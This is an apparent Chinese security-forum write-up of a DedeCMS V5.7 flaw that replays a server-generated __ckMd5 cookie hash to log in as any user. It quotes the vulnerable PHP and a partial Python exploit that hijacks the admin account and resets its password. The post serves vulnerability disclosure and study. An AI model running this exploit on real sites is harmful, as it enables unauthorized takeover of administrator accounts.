

■■■■■■■■■■—Joseph
■■■■■■■■■■—zxc

简述

Dedecms是一款开源的PHP开源网站管理系统。

DeDecms(织梦CMS) V5.7.72 正式版20180109 (最新版)

前台会员模块是采用Cookie中的 DedeUserID+DedeUserID__ckMd5字段进行身份鉴别

DedeUserID用于定位区别用户，DedeUserID__ckMd5则是服务器生成散列，用于安全验证

Dedecms一处代码由于逻辑不够严谨，导致可以输入字符并获得服务器生成散列

劫持DedeUserID_ckMd5字段，绕过安全校验，配合类型转换造成任意用户登录漏洞

漏洞详细原理

文件位置:dedecms/member/index.php:110行

[illegible]

这段函数中\$uid是我们可控的，如果Cookie中last_vid字段不存在就会走进这个分支

```
} else {
    $last_vid = $uid;
}
```

也就变为`$last_vid`可控，然后`$last_vid`经过`PutCookie`函数进行处理

顺便一提

文件位置：dedecms/include/helpers/cookie.helper.php

PutCookie这个函数是Dedecms在setcookie时封装的函数

GetCookie这个函数是Dedecms在获取Cookie中值封装的函数

如果Set一个键值对，PutCookie会Set两对Cookie，一个是要SET的键值对

另一个是值和key进行md5的哈希再截取前十六位的安全校验字符串(键名为\$key+'__ckMd5')

```
if ( ! function_exists('PutCookie'))
{
    function PutCookie($key, $value, $kptime=0, $pa="/")
    {
        global $cfg_cookie_encode,$cfg_domain_cookie;
        setcookie($key, $value, time()+$kptime, $pa,$cfg_domain_cookie);
        setcookie($key.'__ckMd5', substr(md5($cfg_cookie_encode.$value),0,16), time()+$kptime, $pa,$cfg_domain_cookie);
    }
}
```

GetCookie在返回键值之前，会通过PutCookie生成的十六位安全校验字符串对键值进行安全校验

确保获得的键值对有效且为服务器Set,增强安全性（但这里并不能抵御密文重放）

```
if ( ! function_exists('GetCookie'))
{
    function GetCookie($key)
    {
        global $cfg_cookie_encode;
        if( !isset($_COOKIE[$key]) || !isset($_COOKIE[$key.'__ckMd5']) )
        {
            return '';
        }
        else
        {
            if($_COOKIE[$key.'__ckMd5']!=substr(md5($cfg_cookie_encode.$_COOKIE[$key]),0,16))
            {
                return '';
            }
            else
            {
                return $_COOKIE[$key];
            }
        }
    }
}
```

在\$last_vid经过PutCookie函数进行处理后，我们已经在Cookie可以获得校验哈希，绕过安全校验

Payload注入点

文件位置:dedecms/include/memberlogin.class.php:161行

```
function __construct($kptime = -1, $cache=FALSE)
{
    global $dsq;
    if($kptime===-1){
        $this->M_KeepTime = 3600 * 24 * 7;
    }else{
        $this->M_KeepTime = $kptime;
    }
    $formcache = FALSE;
    $this->M_ID = $this->GetNum(GetCookie("DedeUserID"));
    $this->M_LoginTime = GetCookie("DedeLoginTime");
    $this->fields = array();
    $this->isAdmin = FALSE;
    if(empty($this->M_ID))
    {
        $this->ResetUser();
    }else{
        $this->M_ID = intval($this->M_ID);
        if ($cache)
        {
            {
```

[illegible]

[illegible]

```
if "class=\"userName\">admin</a>" in rs.text:
    print "Administrator login successful !!"

headers = {"Referer": dede_host + "member/edit_baseinfo.php"}
rs = s.get(dede_host + 'include/vdimgck.php').content
file = open('2.jpg', "wb")
file.write(rs)
file.close()

vcode = raw_input("Please enter the verification code : ")

data = {"dopost": "save", "uname": "admin", "oldpwd": oldpwd, "userpwd": newpwd, "userpwdok": newpwd,
        "safequestion": "0", "newsafequestion": "0", "sex": "■", "email": "admin@admin.com", "vcode": vcode}
rs = s.post(dede_host + '/member/edit_baseinfo.php', data=data)
if "■■■■■■■■■■" in rs.content:
    print "Administrator password modified successfully !!"
    print "The new administrator password is : " + newpwd
else:
    print "attack fail"
```

点击收藏 | 0 关注 | 3
[上一篇 : Misc 总结 ----流量分析 ...](#)
[下一篇 : DedeCMS V5.7 SP2前...](#)
 1. 1 条回复



[tany](#) 2018-01-25 14:29:43

学习了，感谢，测试了一下帐号用/d/w*的方式也可以登录对应的id

0 回复Ta

[登录](#) 后跟帖

先知社区

[现在登录](#)

热门节点

[技术文章](#)

[社区小黑板](#)

目录

[RSS](#) [关于社区](#) [友情链接](#) [社区小黑板](#)